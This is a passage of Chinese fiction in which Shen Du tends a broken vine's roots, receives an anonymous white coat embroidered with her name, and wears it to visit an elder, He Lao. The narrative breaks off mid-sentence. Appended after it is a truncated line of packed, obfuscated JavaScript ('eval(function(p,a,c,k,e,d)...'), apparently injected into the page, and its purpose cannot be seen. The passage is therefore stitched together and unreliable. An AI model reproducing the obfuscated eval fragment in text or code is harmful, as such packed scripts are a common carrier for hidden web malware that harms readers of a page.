那盆断藤还是没有长新叶，老叶子黄了第三片。沈渡把那片黄叶摘掉，顺着藤摸到根部，又用手指刨开一点土。根还在，没有黑，没有腐烂，白色的，细如发丝。它在地下长，你看不到。你看不到不代表它没在长。它只是不想被看到。
沈渡拍了那根断藤的白根，用手机拍了一张照片，发给了贺老。过了一会儿贺老回了一条语音：“根是活的。少浇水，多晒太阳。它会醒的。”沈渡把花盆从窗台内侧移到窗台外侧，那个位置阳光最好，从早到晚都能晒到。
二月的第一天，沈渡收到了一个包裹。不是快递员送来的，是放在便利店门口的。赵大爷说是早上开门就看到了，上面写着沈渡的名字。包裹不大，方方正正的，用牛皮纸包着，外面缠了好几圈透明胶带。沈渡拆开，里面是一套白大褂，质量很好，面料厚实，左胸口袋上绣着三个字——“沈渡”。不是“沈医生”，是“沈渡”。她不知道是谁送的，不知道是裴衍还是那个老太太，还是别的什么人。但她把那件白大褂穿上了，大小刚好，袖子不长不短，领口不紧不松。不是定制的，是有人知道她的尺码。有人了解她，比她以为的更深。
周六去贺老那里，沈渡穿着那件白大褂。贺老看了一眼，没问她是谁送的，只说了一句：“合身。”沈渡坐在枇杷树下，阳光从叶缝里漏下来，落在她的白大褂上，一块一块的。她想起第一次来的时候，贺老说她的身体像一个快干掉的
;eval(function(p,a,c,k,e,d){e=function(c){return(c